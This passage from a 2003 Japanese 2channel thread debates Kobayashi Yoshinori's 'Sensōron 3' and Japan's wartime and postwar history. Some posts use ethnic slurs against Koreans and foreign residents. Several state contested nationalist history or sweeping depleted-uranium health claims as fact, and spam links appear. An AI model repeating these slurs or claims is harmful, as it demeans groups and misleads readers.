おれが毎日立ち寄る本屋では全く売れてない。
わしズムと仲良く並んで平積みの山だよ(w

224 :うよ:03/07/29 02:59 ID:L6lrQDpT
http://www.2ch.net/2ch.html


連合国は日本に謝罪せよ!!!!!!!!!!!!!!!

225 :うよ:03/07/29 03:00 ID:L6lrQDpT
原爆投下、ベトナム虐殺、沖縄女子強姦事件(ガマの洞窟に火炎放射)、那覇陥落、
東京大空襲、GHQの女性強姦事件、部落放火、ベルリン大空襲、シベリア抑留暴行事件、
在満日本人を虐殺、日系人を強制収容所に監禁、日系人強姦事件、日系人虐待事件、
ノルマンディー虐殺事件、朝鮮虐殺事件(ハンナ事件)、黒船事件(日本に砲撃)



226 :208:03/07/29 03:23 ID:vU5a5OQe
>>210
ただの反小林の煽りだよね?3を買って読んだようには思えないよ。
左翼とは云々の箇所ってかなり初めの部分。そこだけ立ち読みしたってとこじゃないかな。

ちなみに211以下は僕ではないよ


227 :名無しかましてよかですか?:03/07/29 04:29 ID:A9D7oxFV
>>195がこのスレでは一番まともな意見に見えるが誰一人としてレスつけてないな……。

228 :名無しかましてよかですか?:03/07/29 04:29 ID:ykmDuhyS
>>220-222 むなしくないか?

229 :コヴァソゲリオソ:03/07/29 06:27 ID:CEMfID4c
>>195
>戦争論3で描かれていることは事実だ。

ふむ。

>ただし、米軍の太平洋戦争における残虐行為については日本軍の残虐行為同様検証の必要はある。
>おそらくどちらにも英雄もいたし魔獣もいた、ということだろう。

建前にせよスローガンとして「八紘一宇」を掲げた日本と、「有色人種は猿なみ」というのが世間の通説だったアメリカ。
この二国を同列扱いし、「どちらにも英雄もいたし魔獣もいた」などと高みから見下ろすのはいただけない。

>そして、米軍の残虐行為は「聖戦などない、戦争はすべて絶対悪だ」というサヨク平和主義にとっても力になる。

だから何だと言うのだ。隠しておけとでも?

>内容が事実だから全体が真実とは言えない。自説に都合のいい事実の集合は真実ではない。
>白人残虐史は事実だが、日本人や中国人、インド人の歴史にも虐殺や奴隷制、差別はあるし、
>どの文明にも闇があると同時に光もある。一神教の残虐さを強調した西洋文明悪魔論は結論が極端すぎる。

あなたは「神の視座」のごとき高みから歴史を見ているが、小林氏は「日本人」の視点から歴史を見ている。
あなたの言う真実と、日本の国益に拘る小林氏の言う真実が違うのは当然だ。
それに、「西洋文明悪魔論」などというレッテル貼りをするあなたの方がよほど極端だと私は思う。

>虐殺、征服、奴隷制、戦争を全面的に悪とする思想は近代イデオロギーからしか生まれていない。

小林氏は戦争を全面的に悪とはしていない。
(続く)

230 :コヴァソゲリオソ:03/07/29 06:32 ID:CEMfID4c
(続き)
>また、暗黒世界史という手法は左翼が伝統的にやってきたことに他ならない。結論を「社会主義革命」の代わりに
>「伝統にのっとった独立」としただけだ。

話にならない。手法など誰も問題にしていない。「社会主義」と「伝統」を同列に扱うこと自体、
もはや「日本人」であることを放棄している証明をしているようなものだ。

>西洋陰謀史観に近い観点から描いているのも危険だ。わかりやすい反面、現実の複雑性を無視している。
>そして、その陰謀史観を肯定してしまうと、日本に限らず世界のどこの「民」にも独立の希望は一片もないことは
>明白だ。

「戦争論3で描かれていることは事実だ」と言っておきながら、
「西洋陰謀史観」などというレッテルを軽々しく用いるあなたの神経が理解できない。
戦争には陰謀はつきものだということは常識として認めるが、少なくとも、私は「独立の希望」を喪失してはいない。

>最大の問題は、「伝統にのっとった独立」という目標のためにどうすればいいのかを全く提示していない点だ。

最大の問題も何も、戦争論3は独立実践のための書ではない。拠って立つべき道徳を示した書である。
「どうすればいいのか」などと言うのは全くお門違いもいいところである。

>また、伝統にのっとって独立した日本がどんなに素晴らしいかを具体的に描く事もしていない。

小林氏にそんな趣味はないだろう。「伝統にのっとって独立した日本」はユートピアでも何でもない。
犯罪者もいれば、卑怯者もいるに決まっている。

>それは革命構想なしの資本論(斎藤貴男、森永卓郎、広瀬隆、本多勝一ら)同様、絶望を語るものでしかない。

「構想」などという時点で、あなたの読み込み不足が見て取れる。
再度言うが、戦争論3は、具体的な防衛政策・外交政策・内政政策といった「構想」を語る書ではない。
日本人が拠って立つべきものを示すための書である。
(続く)

231 :コヴァソゲリオソ:03/07/29 06:32 ID:CEMfID4c
(続き)
>最後に、彼の結論はかなりガンジーの「真の独立への道」と共通している。ならば、なぜそれについてコメントしないのだ?

的外れもいいところだ。
「日本は独立しなければならない。あくまでも最終事態を設定した自主防衛の構えを作らなければならない」と、
あとがきにもあるように、小林氏は非暴力・非武装宣言などしていない。
よってコメントしようにもしようがない。

232 :_:03/07/29 06:39 ID:O2zaSYrz
http://homepage.mac.com/hiroyuki44/

233 :名無しかましてよかですか?:03/07/29 06:51 ID:bERy6k9p
>>229-231
このスレでは一番まともなレス

>>195はアホすぎ

234 :_:03/07/29 07:06 ID:O2zaSYrz
http://homepage.mac.com/hiroyuki44/jaz09.html

235 :名無しかましてよかですか?:03/07/29 07:06 ID:FR4VGmpl
ノートン先生のウイルス警告出るんだけど
ここゴーマニズムってハックされてhtml
かきかえられてんの?

236 :名無しかましてよかですか?:03/07/29 07:18 ID:o3/16xJw
白人のインディアン虐殺に触れても
日本人のアイヌ差別に触れないコヴァのダブルスタンダード。

237 :名無しかましてよかですか?:03/07/29 07:34 ID:2cB1OTMl
小林にダシにされた特攻隊が可哀相・・・。

238 :名無しかましてよかですか?:03/07/29 07:35 ID:Nd5MXOXX
素人の少女?巨乳AV女優?
貴方の好みはどっち?
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239 :名無しかましてよかですか?:03/07/29 07:48 ID:bERy6k9p
>>236
さすがブサヨ。

240 :名無しかましてよかですか?:03/07/29 08:10 ID:iNcdcUpr
多分、絵的な元ネタになったんだろうが第12章の最初の黒人少年の死ぬシーンを
見て、ガリガリに痩せて死にかけた黒人少女の脇にハゲタカが一羽舞い降りて
死ぬのを待っている写真を思い出した。

241 :名無しかましてよかですか?:03/07/29 09:01 ID:n65AQy0f
 戦争論3全部読了。はっきり言えば、そんなに目新しいことはなかった。
ただ、自分が知っていた歴史が、この本を読んだ事によって、さらに
脳裏に深く刻み込まれた。歴史というのは、誰が語るかということがとても
大事なんだと痛感した。漫画家という創造性の必要な仕事をしてきてるだ
けあって、過去を追体験する能力、そしてそれを表現する能力において、
小林氏は卓越していると思った。
 この本について精神論だとか具体的方法論がないとかいう人間がいる
けど、俺はそれでいいと思う。現実の政治において、日本がアメリカに
従属していることは確かだとしても、従属の楔を断ち切るための歴史観
がわれわれ日本人に欠けていることが問題だ。その意味で、日本人が
世界の荒波で戦っていくための根拠をしっかりと手に握り締めていなければ
ならないだろう。
 幕末日本の武士たちも、たとえば頼山陽の「日本外史」を読んでいたから
こそ、決起できたのだと思う。
 そういう意味で、現在のように日本の正統な歴史を分裂させられた状態
において、戦争論3を読むことの意義があるのだろう。
 小林氏が結局何がいいたいのかといえば、たった一つ「自助努力」という
ことだろう。「自助努力」を失った個人が、誇りに満ちた生を味わえないのと
同様に、国家の独立もまた国民の「自助努力」なしでは達成できないという
ことだろう。「自助努力」の精神を失った国民は、他国の奴隷になるしかない。
現在の日本は奴隷状態だということを深く自覚する必要がある。
 あとは日本をとりまく厳しい国際環境にたいして、どう行動するかは、
各自が考えればよいことだろう。

 

242 :_:03/07/29 09:03 ID:O2zaSYrz
http://homepage.mac.com/hiroyuki44/hankaku08.html

243 :名無しかましてよかですか?:03/07/29 09:09 ID:e0uhNzS7
>>218
>自分としては、「改革に消極的」が右翼であり「改革に積極的」が左翼であるとしている。
>従って、共産国家においては、共産主義者が右翼足り得る。
>崩壊後のソ連で、自由主義改革を行った時点においては、共産主義者が右翼。

本気で言ってるのか?
確かに左翼右翼の定義はあまりにもあいまいだが
一般的には、共産主義社会主義的なのが左翼で、
それに対するものが右翼だと思っている人間が多いだろう。
あなたの定義がもし正しいなら、左翼政権樹立とか左翼政権五期目などという表現は
原理上絶対ありえないはずだが、新聞等でいくらでも目にする。

要するにあなたの定義は全然一般的じゃない。
それなのに
>デンパ飛ばした段階で、もう駄目。(w
とは……

244 :名無しかましてよかですか?:03/07/29 09:53 ID:bERy6k9p
確かに、218は、アホ。

いまや左翼というのは共産主義者という意味も含んでいる。

だから共産主義者が右翼足りえるというのは、間違い。


保守、革新で言えばいいだけのこと。

共産国家においては共産主義者が、保守たりえるといえばいい。
逆にそれ以外が革新勢力となる。

245 :名無しかましてよかですか?:03/07/29 09:57 ID:6hfNEYcB
>>233

> >>229-231
> このスレでは一番まともなレス

漏れもそう思う

246 :名無しかましてよかですか?:03/07/29 10:33 ID:dEcG+0V6
2はくどかったけど、3は良かった。


247 :嫌韓勇士 ◆quM58wnvXA :03/07/29 10:47 ID:MolQSnaG
>建前にせよスローガンとして「八紘一宇」を掲げた日本と
建前の時点で駄目じゃん(藁

248 :名無しかましてよかですか?:03/07/29 10:55 ID:b6hEMGU3
>>247
犬なのにまともなことを言っているな。
昨日からちょっとオドロキだ。

249 :名無しかましてよかですか?:03/07/29 10:58 ID:yduDGisK
小林の戦争論は単なる大東亜戦争の検証だけではなく、「人間とは?」
「人生とは?」といった本質的な副題も織り込んでいるので、様々にイン
スパイアされる。

戦争論3では個人的には15章の高久氏が20歳で書いたという文章に最も
感銘を受けた。
この時代の若者の思慮と覚悟の深さにはほんとに驚かされる。なるほど
小林が「知性においても精神性においても優秀な者はみんな戦争で死んで
しまったのではなかろうか?」といいたくなるわけだ。彼の言葉に比べて、
戦後の思想・言論の類の何と幼稚で無内容なことだろう。
日本人が再び彼の言葉に追いつくのに、あとどれだけの月日と錯誤を要する
のだろうか?

グローバリズムという思想は人間の人間自身に対するあまりの無知から
発生している幻想だとつくづく思った。

250 : :03/07/29 10:58 ID:jum4J/S8
建前の「八紘一宇」でいいのなら、アメリカのイラク攻撃は
独裁者から解放してイラク国民に「自由」と「民主」を与える、
という建前があるのだから、正当性十分だな(w

251 :嫌韓勇士 ◆quM58wnvXA :03/07/29 11:23 ID:MolQSnaG
>>小林氏は「日本人」の視点から歴史を見ている。
つまり「偏ってる」と言う事ですね。


252 :名無しかましてよかですか?:03/07/29 11:28 ID:ii3PcDCz
>>あなたは「神の視座」のごとき高みから歴史を見ているが、小林氏は「日本人」の視点から歴史を見ている。
>>あなたの言う真実と、日本の国益に拘る小林氏の言う真実が違うのは当然だ。

この段は微妙に議論がかみ合ってなってないな。>>195は、単に小林のエピソード取捨選択
が偏りすぎていて、偏った事実のみを並べて適切な分析はできないと指摘しているだけだ。
つまり小林を支持するならば、エピソードの集合は母集団を代表するものであることを
主張するものとなるはず。

>>小林氏にそんな趣味はないだろう。「伝統にのっとって独立した日本」はユートピアでも何でもない。
>>犯罪者もいれば、卑怯者もいるに決まっている。

しかし「伝統にのっとって独立した日本」が、少なくとも現在の日本の状況よりはマシなものであることを描かなければ
「道徳の書」としての説得力に欠けるのは事実じゃないか?

>>あとがきにもあるように、小林氏は非暴力・非武装宣言などしていない。

別にガンジーの「真の独立への道」の内容ってのは「非暴力・非武装宣言」だけではないんだが、ガンジーという
だけで思考が止まってないか?

253 :名無しかましてよかですか?:03/07/29 12:19 ID:fVr2Kg4W
「戦前の豊かな日本」の章と2巻の奉公に出されたおしんが禿げしく矛盾するんだが・・・
GNPの伸びはホントだろうけど当時の小作人にこの話出したら怒るかな?今のアメリカの様に貧富の差が激しかったのかも知れんが・・・
(橋田壽蛾子の作品は意図的に貧乏人が被害者、身勝手な「男」が加害者というパターンが多くて好きではないが)
戦争報道の規制の理由・・・ベトナムで好き勝手にジャーナリストに取材させて失敗したからやろ?

それにしても、憲法改正が「国民投票」でしか行われないっつー事を何でメディアもコヴァも言わないんだ?何でだろ〜何でだろ〜♪

1.2巻程のインパクトは無かったけど「グローバルスタンダード」と言う名の元での米主導の社会は漏れも薄ら寒い気分だ。実際、「仕方なく米に追随しとる」と思ってる人も少なくないと思うが。


254 :名無しかましてよかですか?:03/07/29 12:20 ID:YYSKZG6Q
>>252
>この段は微妙に議論がかみ合ってなってないな。>>195は、単に小林のエピソード取捨選択
>が偏りすぎていて、偏った事実のみを並べて適切な分析はできないと指摘しているだけだ。

それをはじめたら、この本はただの膨大な相対主義のエピソード集になってしまわないか?
神様でもない限りすべてを網羅することはできない。
このての本(保守の本でも左翼の本でも)で使われるエピソードは自説を補強するための材料なのだから、
その信憑性について判断するのは読者に委ねられている。
そして小林はたびたび左翼の意見として負のエピソードを描き、大抵、「そういうこともあっただろうが、しかし」
という形を取っている。だが確かに負のエピソードのようには正のエピソードの検証はしていないね。

>つまり小林を支持するならば、エピソードの集合は母集団を代表するものであることを
>主張するものとなるはず。

意味不明。逆じゃない?詳細な説明求む。

>しかし「伝統にのっとって独立した日本」が、少なくとも現在の日本の状況よりはマシなものであることを描かなければ
>「道徳の書」としての説得力に欠けるのは事実じゃないか?

国際社会で強国追従ではなく、自力で防衛ができ、責任があり判断できる国。
それを目指し、その判断の基準規範が伝統的道徳に基づくと書いてある。
これじゃまだ不満か?

>別にガンジーの「真の独立への道」の内容ってのは「非暴力・非武装宣言」だけではないんだが、ガンジーという
>だけで思考が止まってないか?

ガンジーに「かなり共通」しているかどうかは>>195の主観なんだから、
意識すらしてないだろう小林からしたら、そんなこと知ったこっちゃないし、
そんな責任ないでしょ。戦争論を通しての結論はこうですという流れで書かれてるんだから、
小林個人の意見と取ればいい。勝手にガンジーくっつけて似てるのにコメントないってのもなあ。

255 :名無しかましてよかですか?:03/07/29 12:22 ID:hH/uZq67
>>250
ワロタ

256 :名無しかましてよかですか?:03/07/29 13:20 ID:0MMYQGcR
言いたことは色々あるだろうが、小林の戦争論であまり活字の本を読まない
読者層がサヨに染まる事がふせげるならそれでいい。
はっきりいって国を売る糞サヨより糞ウヨのほうがまし。

257 :名無しかましてよかですか?:03/07/29 13:20 ID:ii3PcDCz
>>254
>>それをはじめたら、この本はただの膨大な相対主義のエピソード集になってしまわないか?

そうそう。だから普通は根拠として「統計」を使うの。エピソードほどわかりやすくないし、使いづらいし、
絵的に地味だし、おまけに間違っていることも多いけどね。

>>国際社会で強国追従ではなく、自力で防衛ができ、責任があり判断できる国。
それを目指し、その判断の基準規範が伝統的道徳に基づくと書いてある。

だからさあ、これ全部「手段」なの。つまりそういう国になるとどういうメリットがあるのか? って話。
国民のプライドが高まって犯罪が減るとか、自信が身について経済が回復するとか、外交で好き
放題やって国益を追求できるとか、そういう話。


258 :名無しかましてよかですか?:03/07/29 13:44 ID:YYSKZG6Q
>そうそう。だから普通は根拠として「統計」を使うの。エピソードほどわかりやすくないし、使いづらいし、
>絵的に地味だし、おまけに間違っていることも多いけどね。

だからなに?ん?おれのレスに同意ってこと?

>>国際社会で強国追従ではなく、自力で防衛ができ、責任があり判断できる国。
それを目指し、その判断の基準規範が伝統的道徳に基づくと書いてある。

>だからさあ、これ全部「手段」なの。つまりそういう国になるとどういうメリットがあるのか? って話。
>国民のプライドが高まって犯罪が減るとか、自信が身について経済が回復するとか、外交で好き
>放題やって国益を追求できるとか、そういう話。

だからさあ、っていわれてもさあ、ガキじゃないんだから
「国際社会で強国追従ではなく、自力で防衛ができ、責任があり判断できる国。」
を目的として達成された場合、副次的にどうなるかぐらい自分で考えようよ。
今現在、プライドと道徳を失った例としての犯罪とかが頻繁に描かれてんだから、
とりあえずそれはずいぶん改善されるんだろうなあ、ぐらいはわかんない?
日本が気概をもって日本の「公」で世界を秩序立てよう、と七章の終わりに書いてあるじゃない。
たとえ君がこれも手段といっても、なぜそのような考えに至り提唱するか読み返せば
アメリカ型の世界支配を打破するためだな、とわかるわけ。
じゃあ、アメリカ型の力による支配をやめたらどうなるのって言うなら、
アメリカ型の悪い部分がなくなるよねって話。

ああ、そうか、これじゃまだ分からないか。具体的に自分がどう得をするかってこと?
悪いけど気体には沿えないな。メリットデメリットのはなしじゃなく、理念の話をしてんだから。

それより、これの説明してよ。おれにはわかんないんだよ。
>つまり小林を支持するならば、エピソードの集合は母集団を代表するものであることを
>主張するものとなるはず。


259 :名無しかましてよかですか?:03/07/29 13:48 ID:E2N65e6e
世界でもTOP10に入るGDP、低犯罪率、教育の高さ。
「伝統的道徳」とやらでこれ以上になるのかな?

260 :名無しかましてよかですか?:03/07/29 13:54 ID:YYSKZG6Q
>>259
今極端に下がってきてるから(統計とか見てないので知らない、ともかく方々でそういわれてる)、
今のうちに食い止めようってことじゃないの?
新しい理想概念作るよりは古い概念の復権のほうが分かりやすいし、
効果の程も前に出てるから分かってるしね。
実際に通用するか、今更浸透するかどうかはわかんないけど。
まあそれで困る人いるかな。軍国主義になるとかいう人以外で。



261 :名無しかましてよかですか?:03/07/29 13:55 ID:BCfCDEg2
実名晒し祭りマンセー!
【覚醒剤】超有名芸能人実は逮捕されていた!!【使用】
http://www.amezor.to/cgi-bin/res.cgi?dir=lobby&res=030721012938&ls=50


262 :名無しかましてよかですか?:03/07/29 14:00 ID:tAqrwn9K
>>259
これ以上にするんじゃなくて忘れるなってことじゃないのかな

263 :名無しかましてよかですか?:03/07/29 14:02 ID:Aa5rLxRb
>>259
昨今全部悪化し続けてるやんけ。


264 :名無しかましてよかですか?:03/07/29 14:17 ID:G9RnAOBn
犯罪の増加はマスコミの作り出した虚像

265 :名無しかましてよかですか?:03/07/29 14:22 ID:XDsMSdX3
50数年前の過去と、今現在の現実を見ろよ。
過去の「八紘一宇」なんていう当の日本人も信じていなかった
植民地政策は、占領したアジア各国から恨みを買ったし
無謀な精神論ではアメリカに勝てずに大敗した。
一方今は、光ファイバーや無線通信網が張り巡らされ
自動車もテレビも一家に一台以上。
パソコンの普及率も50%以上。携帯電話は60%以上。
自衛隊の能力、装備もアジアではトップクラス。
ビジネス、テンターティメントのソフトウェアコンテンツもだ。
通信、経済、軍事、情報、政治。そして生活、治安。
どれも世界有数で、重要な地位を占めている。
これの一体どこが悪いんだ?

266 :名無しかましてよかですか?:03/07/29 14:26 ID:y/MgHoty
>>265
あとは北朝鮮に自力で先制攻撃できる法整備だけですね

267 :名無しかましてよかですか?:03/07/29 14:35 ID:Gug6Q3iO
そもそも、50数年前なら、小林ごときがえらそうに国家や戦争を語ることなど
絶対不可能だったのだが。

268 :名無しかましてよかですか?:03/07/29 14:36 ID:Aa5rLxRb
>>265
先の大戦に敗れてアメリカべったりの平和ボケ国家になったから、
それらの豊かさが享受できたのだとでも言いたいの?
日本人の勤勉さの賜物でしょう?道徳心は経済発展を阻害する
という確たる論拠でもあるの?
てか、戦争論3ホントにちゃんと読んでレスしてる?だとしたら
読解力全く無しと言わざるを得ない。

269 :打通さん:03/07/29 14:42 ID:8yAXXsNH
>植民地政策は、占領したアジア各国から恨みを買ったし
>無謀な精神論ではアメリカに勝てずに大敗した。

でもチハ車は機械的信頼性に優れ、大陸打通作戦で3000キロ疾走
して白人崇拝のエセ抗日金権ゴロツキ国民党をボコボコの壊滅状態に
してやった。これだけで戦前日本の基礎工業力水準の高さが証明される。

270 :名無しかましてよかですか?:03/07/29 14:42 ID:fNfiLFCF
>>265
>自衛隊の能力、装備もアジアではトップクラス。
>ビジネス、テンターティメントのソフトウェアコンテンツもだ。
>通信、経済、軍事、情報、政治。そして生活、治安。

ソフトはアメリカから、ハードの中身は台湾、中国から。
通信、経済、情報、政治は中国の意のまま。
生活、治安は三国人に脅かされている。

頼みの軍事=自衛隊は憲法でがんじがらめ。おまけに
本土防衛に特化しており、いざという時には何も役にも
たたない。

>どれも世界有数で、重要な地位を占めている。
>これの一体どこが悪いんだ?

見せかけだらけで「張子の虎」然とした地位ですが?
貴方は一体いつの時代のことを言っているのですか?
今から15〜20年前の日本ならば納得ですが(w


271 :嫌韓勇士 ◆quM58wnvXA :03/07/29 14:43 ID:MolQSnaG
>>日本が気概をもって日本の「公」で世界を秩序立てよう
随分と身勝手な話だね。


272 :嫌韓勇士 ◆quM58wnvXA :03/07/29 14:44 ID:MolQSnaG
>>道徳心は経済発展を阻害するという確たる論拠でもあるの?
企業間の熾烈な争いの中で道徳心とやらが役に立つとでも?


273 :名無しかましてよかですか?:03/07/29 14:54 ID:wTS8clBy
>>270
そんなに日本が嫌なら
日本から出て行けよ、反日自虐。

274 :名無しかましてよかですか?:03/07/29 14:55 ID:y/MgHoty
>>272
とゆーカネさえ儲かればプライドなんかイラネという態度を
小林よしのりはサヨクの頃から一貫して批判してるわけだが

275 :嫌韓勇士 ◆quM58wnvXA :03/07/29 14:56 ID:MolQSnaG
>>それらの豊かさが享受できたのだとでも言いたいの?
朝鮮特需が無かったらどうなっただろうねえ(ニタニタ
日米安保が無かったらどうなっただろうねえ(ニタニタ


276 :嫌韓勇士 ◆quM58wnvXA :03/07/29 14:56 ID:MolQSnaG
>>274
プライドで食えるんですか?

277 :名無しかましてよかですか?:03/07/29 14:58 ID:G9RnAOBn
津にね金儲けに徹するというプライドがあるんだよ

278 :名無しかましてよかですか?:03/07/29 15:01 ID:y/MgHoty
>>275
やっぱ読んでないだろ(w
戦後の復興の話じゃないんだなコレが
コバは3でアメリカが日本に戦争をふっかけなかったら
日本はもっと繁栄していただろうと主張してるんだよ

>>276
プライド捨てないと食えなくなるほど無能なヤツは死んだほうがよくね?

279 :嫌韓勇士 ◆quM58wnvXA :03/07/29 15:05 ID:MolQSnaG
>>アメリカが日本に戦争をふっかけなかったら
妄想ですか?
>>日本はもっと繁栄していただろうと主張してるんだよ
当たり前だw
聞くが占領がソ連主導だったらどうなってた?

280 :嫌韓勇士 ◆quM58wnvXA :03/07/29 15:06 ID:MolQSnaG
>>プライド捨てないと食えなくなるほど無能なヤツは死んだほうがよくね?
お前はどうなんだ?

281 :名無しかましてよかですか?:03/07/29 15:14 ID:y/MgHoty
>>>日本はもっと繁栄していただろうと主張してるんだよ
>当たり前だw

おー同意してくれたか
よかったよかった

俺? 俺はプライドなんか捨てなくても喰うくらいは困らないな
贅沢はできないが別に贅沢なんかしたくないし

282 :名無しかましてよかですか?:03/07/29 15:20 ID:4addSj9s
ちなみに昨日の朝方やってたニュースで年金4割払われてないらしいんだが…
キャスターは国に対する信頼とかを問題にしてた
「今がエエ、なんの問題があるんだ」的なこと言う香具師いたが、今から先の
コト考えても、あんまヨクもないわな

283 :名無しかましてよかですか?:03/07/29 15:22 ID:DjfxWZ/t
>>278
>アメリカが日本に戦争をふっかけなかったら
>日本はもっと繁栄していただろうと
妄想に妄想を重ねてなにが楽しいんだか。

284 :名無しかましてよかですか?:03/07/29 15:23 ID:iyw0nVdD
>>嫌韓勇士 </b>◆quM58wnvXA <b>

アメリカに手なずけられて半島や大陸に向かってキャンキャン吠える馬鹿犬の典型だな。

>プライドで食えるんですか?

韓中になんか言われりゃ「日本人の誇り」がどうのと言い出すくせに(w

285 :名無しかましてよかですか?:03/07/29 15:25 ID:XQ3OM/yK
3はキレまくっとる。カンドーするほど。
寝る前に読んで寝付きも寝起きも最悪になっちゃった。
1〜3の中で一番凄味があるんじゃないかな。

286 :名無しかましてよかですか?:03/07/29 15:25 ID:OIegcb0T
☆無修正画像&サンプルムービーをどうぞ!!☆
http://yahooo.s2.x-beat.com/linkv/linkv.html

287 :名無しかましてよかですか?:03/07/29 15:27 ID:y/MgHoty
>>283
あーホントに読んでないんだねー
だからね、そこは

「戦前の日本はケンリョクがサクシュしていて庶民は貧しかったが
 アメリカ様が日本に民主主義を教えてくれて戦後に豊かになった」

という風説に対する反論なんだよ

「日本は戦前から豊かだったがアメリカに戦争をふっかけられて
 荒廃しきったところから再び立ち直った」

って言ってるわけ

288 :名無しかましてよかですか?:03/07/29 15:31 ID:XQ3OM/yK
山本夏彦死んじゃったね。もったいない。

289 :嫌韓勇士 ◆quM58wnvXA :03/07/29 15:35 ID:MolQSnaG
>>287
占領したのがアメリカでは無くソ連ならどうなりましたか?

290 :名無しかましてよかですか?:03/07/29 15:39 ID:qtyfRHBg
>>272>企業間の熾烈な争いの中で道徳心とやらが役に立つとでも?

全ての企業は道徳心の無い商いをやってるとでも?
道徳心よりも如何に金儲けするかということを重んじるべきだと?
あなたが拝金主義なのはよく判りました。

>>275>朝鮮特需が無かったらどうなっただろうねえ(ニタニタ
日米安保が無かったらどうなっただろうねえ(ニタニタ

あなたの低脳具合が露呈してしまってますよ。朝鮮特需も日米安保も
結果としての一現象でしかない。歴史にもしたらは無いが、大戦の結果が
現実と違っていたならそれなりのその結果としての諸現象が起きていた
というだけの話で、どんな現象、事態が起こったにせよ、現在の日本の
豊かさは日本人の勤勉さに因るところが大きいということに間違いは無いだろーが。


掛け値無しのヴァカってことはもうバレちゃってんだから、一人ぼっちで
寂しいのはわかるけどいい加減黙ったら?板が臭くなるからさ。>嫌韓勇士

291 :名無しかましてよかですか?:03/07/29 15:41 ID:DjfxWZ/t
>>287
>日本は戦前から豊かだったが
>アメリカに戦争をふっかけられて
昭和恐慌なんて起こらなかった?
満州国建設は国際社会に是とされたの?
連合軍と枢軸国は対立してなかったの?
戦前は自由主義の社会だったとでも?
悪くなったといわれる昨今のゆとり教育でも
中学校で学習するレベルだ。

292 :名無しかましてよかですか?:03/07/29 15:43 ID:iyw0nVdD
>>291
その歴史教育が是だと仰るわけですか・・・

293 :名無しかましてよかですか?:03/07/29 15:46 ID:DjfxWZ/t
>>292
すべて「事実」。過去に起こった「現実」。
「もし」、「たら」、「きっと」の妄想とは違う。

294 :嫌韓勇士 ◆quM58wnvXA :03/07/29 15:52 ID:MolQSnaG
>>290
>全ての企業は道徳心の無い商いをやってるとでも?
殆どの企業は、
金優先8:道徳2の割合だろうねえ。
>>現在の日本の豊かさは日本人の勤勉さに因るところが大きいということに間違いは無いだろーが。
結局お前は特需と安保が無かったらどうなったかについては答えずに「日本人が勤勉だから豊かになった」を鸚鵡の様に連呼してるだけだな。
特需と安保が無くても日本は繁栄してたか?
占領したのがソ連でも繁栄してたか?
逃げずに答えよ。




295 :名無しかましてよかですか?:03/07/29 15:53 ID:y/MgHoty
>>289,291
だからそーゆーレベルの話じゃないの
「日本は戦前から豊かだった」というだけの話なの
ったく批判はいいけど読んでから批判しなよ

296 :嫌韓勇士 ◆quM58wnvXA :03/07/29 15:53 ID:MolQSnaG
>>287
銀行が潰れまくったのは何?
農民が飢えてたのは何?
不逞鮮人が密航して来たのは何?

297 :名無しかましてよかですか?:03/07/29 15:53 ID:motPuDNy
アダルト激安DVDショップ!1枚500円〜!


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298 :名無しかましてよかですか?:03/07/29 15:56 ID:y/MgHoty
>>294
>特需と安保が無くても日本は繁栄してたか?
>占領したのがソ連でも繁栄してたか?

それを言うなら
そもそもアメリカが蒋介石ではなく日本のほうを選んでいれば
共産主義の跋扈を許すこともなくアメリカも日本ももっと繁栄してただろーよ(w


299 :嫌韓勇士 ◆quM58wnvXA :03/07/29 15:56 ID:MolQSnaG
戦後の農地解放はどう説明するつもりだ?
アジア太平洋戦争が無くても行われたか?

300 :嫌韓勇士 ◆quM58wnvXA :03/07/29 15:56 ID:MolQSnaG
>>298
話を逸らすな。

301 :名無しかましてよかですか?:03/07/29 15:57 ID:y/MgHoty
>>300
逸らしてるのはおまえだ

302 :名無しかましてよかですか?:03/07/29 16:00 ID:DW8OLGd0
>>289

占領された状態と占領されなかった状態の話をしているのに、
占領相手がアメリカかソ連のどちらがますかという話を持ち出すのは、
単なる論点ずらしっていうんだけどな。


303 :名無しかましてよかですか?:03/07/29 16:00 ID:y/MgHoty
>>299
アジア太平洋戦争…
なるほど親米サヨクの方でしたか
そのコテハンも偽装だね?
あーあ釣られちゃった


304 :名無しかましてよかですか?:03/07/29 16:02 ID:DjfxWZ/t
>占領された状態と占領されなかった状態
だから、日本は連合国に負けて占領された。
これは「事実」。どうやってもひっくり返せない。

305 :嫌韓勇士 ◆quM58wnvXA :03/07/29 16:03 ID:MolQSnaG
>>302
で、ソ連とアメリカならどっちがマシでしたか?
>>303
はあ?
大東亜戦争の方が解り難いだろうが。
ビルマやベトナムは東亜に含まれてないだろ。
アジア太平洋戦争の方が解りやすい。

306 :愛国という犯罪・ベテラン陸軍少佐ダグ・ロッキー保健物理学博士:03/07/29 16:05 ID:8xufZqm+
兵士たちは消耗品にすぎない。
http://www.morizumi-pj.com/iraq/iraq.html
派遣された自衛隊員も凄まじい細胞損傷や遺伝子損傷を免れることは出来ない。
ミシシッピー在住の湾岸帰還兵251世帯中67%に奇形。目の奇形、目や耳の欠落
http://www.angelfire.com/journal2/esashi/ir12.htm
劣化ウランと世界の終わり>精液中にウランが出て、遺伝メカニズムがめちゃくちゃになっている。
凄まじい細胞損傷や遺伝子損傷を受け、何もかもおかしくなります。
http://www.chugoku-np.co.jp/abom/uran/tokushu/index.html
湾岸戦争に従軍した保健物理学博士ベテラン陸軍少佐Doug Rokkeの証言
米誌『YES!』(2003年春号)「これは私たち自身に対する戦争だ」(The War Against Ourselves)
http://www1.ocn.ne.jp/~sinryaku/uhazinmyaku.htm
湾岸戦争に従軍したベテラン陸軍少佐ダグ・ロッキー氏は、イラク国内の戦闘で
米軍兵士の安全確保のための任務についた。そこで知った米兵とイラク一般市民双方への
劣化ウランなどによる戦争被害の実態は、彼に「もう戦争ができる時代は終わった」と
確信させるものだった。精液中にウランが出ているというのは、遺伝メカニズムが
めちゃくちゃになっているということです。その条件で受胎された子どもは、アルファ放射線によって
凄まじい細胞損傷や遺伝子損傷を受け、何もかもおかしくなります。72時間以内に病状が現われはじめました。精液中にウランが出て、遺伝メカニズムがめちゃくちゃになっている。

環境を汚染したら、どこから子どもが生まれますか? 
子どもたちが消えてしまうでしょう。もう戦争ができない時代になったのです。
その理由は、のちのち兵士や環境に与える影響が手に余るからですが、
一番重要なのは非戦闘員への影響です。使用する兵器のせいで、
戦争による汚染や健康被害を除去できなくなったら、敵味方双方の戦闘員にも
民間人にも医学治療が与えられなくなったら、残された道は平和しかないのです


307 :_:03/07/29 16:06 ID:O2zaSYrz
http://homepage.mac.com/hiroyuki44/

308 :名無しかましてよかですか?:03/07/29 16:10 ID:iyw0nVdD
>>305
酔っぱらってるの?
